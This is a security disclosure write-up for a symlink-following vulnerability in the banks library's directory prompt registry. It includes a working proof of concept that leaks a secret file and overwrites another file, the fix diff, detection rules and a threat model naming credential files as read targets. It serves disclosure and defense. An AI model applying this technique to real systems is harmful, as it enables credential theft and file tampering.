Disclosure: CVE-2026-107716 (CWE-59, CWE-22) affects
banksup to 2.5.0. I reported it to the maintainer,masci, asjankesec. It is fixed in 2.5.1 by PR #79 and published as GHSA-556j-vv39-8rqv. GitHub, as CNA, scored it CVSS 4.0 7.3 (High):CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N.
DirectoryPromptRegistry in banks keeps prompts as files in a directory. Up to version 2.5.0 it read and wrote those files, and the index.json that lists them, without checking whether they were symbolic links. A symlink placed in the prompt directory therefore lets the registry read or overwrite a file anywhere the process can reach.
The attacker has to get a symlink into the prompt directory. That is possible when the directory is filled from untrusted input: an unpacked archive, a cloned repository, or a folder shared between tenants. The application then has to load or save prompts from that directory, which DirectoryPromptRegistry does when it is created and on every set().
How the registry stores prompts
- Each prompt is a file named
<name>.<version>.jinjain the registry directory.index.jsonlists them. - Creating a
DirectoryPromptRegistryruns_scan()when there is noindex.json(or withforce_reindex=True), and_load()otherwise. _scan()opens every*.jinja*file, stores its text in the index and writesindex.json.get(name=..., version=...)returns a prompt from the index.set(prompt=...)writes the prompt file and then calls_save()to rewriteindex.json.
Root cause: no link check on any read or write
Version 2.5.0 already rejected prompt names that escape the directory (the advisory points to PR #77), but it never asked whether a file is a symlink. The writes and reads below follow links, as open() does on POSIX:
version = prompt.version or DEFAULT_VERSION
prompt_file = _resolve_prompt_file(path, prompt.name, version)
prompt_file.write_text(prompt.raw)
def _save(self):
"""Save the prompt index to disk."""
self._index_path.write_text(self._index.model_dump_json())
def _scan(self):
"""Scan directory for prompt files and build the index."""
self._index: PromptFileIndex = PromptFileIndex()
for path in self._path.glob("*.jinja*"):
name, version = path.stem.rsplit(".", 1) if "." in path.stem else (path.stem, DEFAULT_VERSION)
with path.open("r") as f:
pf = PromptFile(text=f.read(), name=name, version=version, path=path, metadata={})
self._index.files.append(pf)
self._index_path.write_text(self._index.model_dump_json())
The advisory lists three places:
index.jsonis never checked._save()overwrites the target of a link, and_load()reads it._scan()opens.jinjafiles without checkingis_symlink()or whether the resolved path leaves the registry root.set()writes a prompt file without checking whether it is already a symlink.
A link named leak.0.jinja that points at a secret file is read into the index. A link named index.json is written through by _save().
DirectoryPromptRegistry opens and writes every file in its directory without checking where a link points.Proof of concept
The PoC is the one from the advisory. The first half plants a symlink in a registry directory and reads through it. The second half points index.json at another file and lets the registry overwrite it:
import os
from pathlib import Path
from banks.registries.directory import DirectoryPromptRegistry, DEFAULT_INDEX_NAME
from banks.prompt import Prompt
# Disclose external file via symlink in prompt directory
reg_dir = Path("/tmp/registry")
reg_dir.mkdir(exist_ok=True)
secret = Path("/tmp/secret.txt")
secret.write_text("SECRET_API_TOKEN")
os.symlink(secret, reg_dir / "leak.0.jinja")
reg = DirectoryPromptRegistry(reg_dir, force_reindex=True)
print("Disclosed content:", reg.get(name="leak", version="0").raw)
# Overwrite external file via symlink index
target = Path("/tmp/target.conf")
target.write_text("ORIGINAL")
(reg_dir / DEFAULT_INDEX_NAME).unlink(missing_ok=True)
os.symlink(target, reg_dir / DEFAULT_INDEX_NAME)
reg.set(prompt=Prompt("pwn", name="test", version="1"))
print("Target overwritten:", target.read_text())
With force_reindex=True the constructor runs _scan(), which reads leak.0.jinja through the link, and get() returns that text. In the second half, set() writes test.1.jinja and then _save() rewrites index.json. Because index.json is a link to /tmp/target.conf, that file ends up holding the registry’s index JSON instead of ORIGINAL.
On 2.5.1 the constructor already raises InvalidPromptError, because _scan() rejects the symlinked prompt file.
Evidence matrix
| Evidence | What it shows | Result |
|---|---|---|
| GHSA-556j-vv39-8rqv | Advisory published by GitHub as CNA | Published 2026-10-08. CWE-22 and CWE-59. <= 2.5.0 affected, 2.5.1 patched. |
| CVE record | Severity assigned by the CNA | CVSS 4.0 7.3 (High) |
Fix PR #79 (23ed13e) | Symlink checks, containment checks and O_NOFOLLOW writes | Merged 2026-09-10, with regression tests |
banks 2.5.1 on PyPI | Release that contains the fix | Uploaded 2026-09-10 |
| PoC from the advisory, first half | get() on a symlinked leak.0.jinja | Returns the text of the link target on 2.5.0 |
| PoC from the advisory, second half | set() with index.json linked to another file | Overwrites the link target on 2.5.0 |
| Negative control (2.5.1) | Code review of _scan() and _validate_index_path() in the fix | Symlinked prompt files and a symlinked index.json raise InvalidPromptError |
The fix (PR #79)
PR #79 (commit 23ed13e) was merged on 2026-09-10 and shipped as 2.5.1 the same day. It adds a symlink check and a containment check to every path the registry reads or writes, and it writes with O_NOFOLLOW where the platform supports it. Every failure raises InvalidPromptError. The excerpts below are from the PR diff.
Writes go through a helper that refuses to follow links. Without O_NOFOLLOW (Windows), it falls back to write_text() and relies on the earlier checks:
--- a/src/banks/registries/directory.py
+++ b/src/banks/registries/directory.py
@@ -24,6 +25,23 @@
DEFAULT_INDEX_NAME = "index.json"
+def _write_file_no_follow(path: Path, content: str) -> None:
+ """Write content to a file, strictly refusing to follow symbolic links."""
+ no_follow = getattr(os, "O_NOFOLLOW", None)
+ if no_follow is not None:
+ try:
+ fd = os.open(str(path), os.O_WRONLY | os.O_CREAT | os.O_TRUNC | no_follow)
+ except OSError as exc:
+ msg = f"Path is a symbolic link or cannot be opened: {path}"
+ raise InvalidPromptError(msg) from exc
+ with os.fdopen(fd, "w", encoding="utf-8") as f:
+ f.write(content)
+ else:
+ # Platform does not support O_NOFOLLOW (e.g. Windows);
+ # rely on earlier symlink checks in _resolve_prompt_file and _validate_index_path.
+ path.write_text(content, encoding="utf-8")
+
+
def _resolve_prompt_file(registry_root: Path, name: str, version: str) -> Path:
"""Resolve the on-disk path for a prompt file, ensuring it stays within ``registry_root``."""
if Path(name).is_absolute():
index.json gets its own check:
@@ -105,6 +136,14 @@ def __init__(self, directory_path: str, *, force_reindex: bool = False):
else:
self._load()
+ def _validate_index_path(self):
+ if self._index_path.is_symlink():
+ msg = f"Index file cannot be a symbolic link: {self._index_path}"
+ raise InvalidPromptError(msg)
+ if self._index_path.exists() and not self._index_path.resolve().is_relative_to(self._path.resolve()):
+ msg = f"Index file escapes registry root: {self._index_path}"
+ raise InvalidPromptError(msg)
+
@property
def path(self) -> Path:
"""Get the directory path where prompts are stored."""
_load() and _save() call that check. _scan() rejects symlinks and paths that leave the root, and ends with _save():
@@ -167,17 +207,34 @@ def _load(self):
def _save(self):
"""Save the prompt index to disk."""
- self._index_path.write_text(self._index.model_dump_json())
+ self._validate_index_path()
+ _write_file_no_follow(self._index_path, self._index.model_dump_json())
def _scan(self):
"""Scan directory for prompt files and build the index."""
- self._index: PromptFileIndex = PromptFileIndex()
- for path in self._path.glob("*.jinja*"):
- name, version = path.stem.rsplit(".", 1) if "." in path.stem else (path.stem, DEFAULT_VERSION)
- with path.open("r") as f:
- pf = PromptFile(text=f.read(), name=name, version=version, path=path, metadata={})
+ self._validate_index_path()
+ self._index = PromptFileIndex()
+ root = self._path.resolve()
+ for path in sorted(self._path.rglob("*.jinja")):
+ if not path.is_file():
+ continue
+ if path.is_symlink():
+ msg = f"Symbolic links are not allowed in prompt registry: {path}"
+ raise InvalidPromptError(msg)
+ resolved = path.resolve()
+ if not resolved.is_relative_to(root):
+ msg = f"Prompt path escapes registry root: {path}"
+ raise InvalidPromptError(msg)
+
+ rel = path.relative_to(self._path)
+ stem = rel.stem
+ name_part, version = stem.rsplit(".", 1) if "." in stem else (stem, DEFAULT_VERSION)
+ full_name = f"{rel.parent.as_posix()}/{name_part}" if str(rel.parent) != "." else name_part
+
+ with path.open("r", encoding="utf-8") as f:
+ pf = PromptFile(text=f.read(), name=full_name, version=version, path=path, metadata={})
self._index.files.append(pf)
- self._index_path.write_text(self._index.model_dump_json())
+ self._save()
_resolve_prompt_file() also rejects a prompt path that is a symlink before it resolves it.
AI asset pipeline threat model
Prompt registries and template loaders represent an often overlooked trust boundary in LLM architectures. In multi-tenant platforms, prompt engineers or external contributors upload prompt bundles (via ZIP, tarball, or Git repository import) that are consumed by the central AI inference worker:
- The Read vector: If the prompt registry does not reject symbolic links, an imported prompt file pointing to
/app/.envor/proc/self/environleaks runtime API keys, database credentials, and LLM provider tokens back into the prompt rendering engine. - The Write vector: Because
DirectoryPromptRegistry.set()overwrites files and rewritesindex.json, a symlink pointing to application code or configuration files allows an attacker with prompt-saving rights to achieve arbitrary file overwrite and potential code execution.
Detection engineering and telemetry
Organizations operating LLM infrastructure can detect and prevent prompt directory symlink abuse at the host, pipeline, and container level.
1. Linux Auditd file monitoring
Deploy an auditd rule to monitor symlink creation inside directories allocated to LLM templates and registries:
# /etc/audit/rules.d/99-ai-prompts-symlink.rules
# Track symlink syscalls in the application prompt store
-a always,exit -F arch=b64 -S symlink -S symlinkat -F dir=/var/app/prompts -k prompt_symlink_created
When an untrusted archive unpacks a symbolic link into the prompt directory, auditd records the event:
type=SYSCALL msg=audit(1728345600.781:1094): arch=c000003e syscall=88 success=yes exit=0
a0=7ffd54321000 a1=7ffd54321200 items=2 ppid=8412 pid=8420
auid=1000 uid=1000 gid=1000 euid=1000 comm="tar" exe="/usr/bin/tar" key="prompt_symlink_created"
type=PATH msg=audit(1728345600.781:1094): item=0 name="/var/app/prompts/leak.0.jinja"
2. CI/CD Git pipeline pre-flight check
Block commits containing symbolic links before prompt bundles enter production pipelines:
#!/usr/bin/env bash
# Git pre-receive / CI validation hook
# Reject any symbolic link committed to prompt paths
if git ls-files -s prompts/ | grep -q "^120000"; then
echo "[-] REJECTED: Symbolic link detected in prompt repository." >&2
exit 1
fi
3. Safe archive extraction
When unpacking user-supplied archive bundles containing prompts, enforce strict extraction filters (Python 3.12+ tarfile.data_filter):
import tarfile
# Secure extraction blocking symlinks escaping destination
with tarfile.open("untrusted_prompts.tar.gz") as tar:
tar.extractall(path="/var/app/prompts", filter="data")
ATT&CK technique mapping
| Tactic | Technique ID | Technique Name | Exploitation Mechanism | Defensive Control |
|---|---|---|---|---|
| Discovery | T1083 | File and Directory Discovery | Symlink leak.0.jinja pointing to sensitive local files is read into prompt index. | Disallow symlinks via is_symlink() and enforce containment. |
| Credential Access | T1552.001 | Unsecured Credentials: Credentials in Files | Prompt reader leaks credentials or tokens stored in .env files outside root. | Isolate prompt processes; run worker with minimal DAC permissions. |
| Impact | T1565.001 | Data Manipulation: Stored Data Manipulation | Writing through a symlinked index.json overwrites arbitrary host configuration files. | Open files with O_NOFOLLOW; verify canonical path containment. |
| Initial Access | T1195.002 | Supply Chain Compromise: Vulnerable Component | Flawed prompt management library allows cross-tenant filesystem access. | Upgrade to banks>=2.5.1. |
Takeaways
- A directory that is filled from untrusted input is untrusted, including the target of every link inside it.
open(),Path.read_text()andPath.write_text()follow symlinks. Open withos.O_NOFOLLOWwhere it exists, as the fix does for writes. A check followed by an open can still race with a link swapped in between.- When you unpack zip or tar archives, skip or reject symlink entries before the files reach the application directory.
Upgrade to banks 2.5.1 or later.
Vulnerability Scoring & CVSS Vector Breakdown
Base score and individual metric vector breakdown calculated by GitHub CNA.
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:NCoordinated Disclosure & Remediation Timeline
Verified chronological audit trail for CVE-2026-107716: from reproduction to upstream fix, backport, and official advisory release.
The maintainer merged the change that rejects symbolic links in the prompt registry (PR #79).
Source / Reference ↗GitHub, as CNA, published the CVE record and advisory GHSA-556j-vv39-8rqv.
Source / Reference ↗CISA added its Vulnrichment (SSVC) assessment to the CVE record.
jankesec checked the CVE record, score, affected versions, and references.
Evidence used for this analysis
Version and exploitation status can change; follow the linked vendor records.
The author completed a technical review. This does not, by itself, claim lab reproduction.
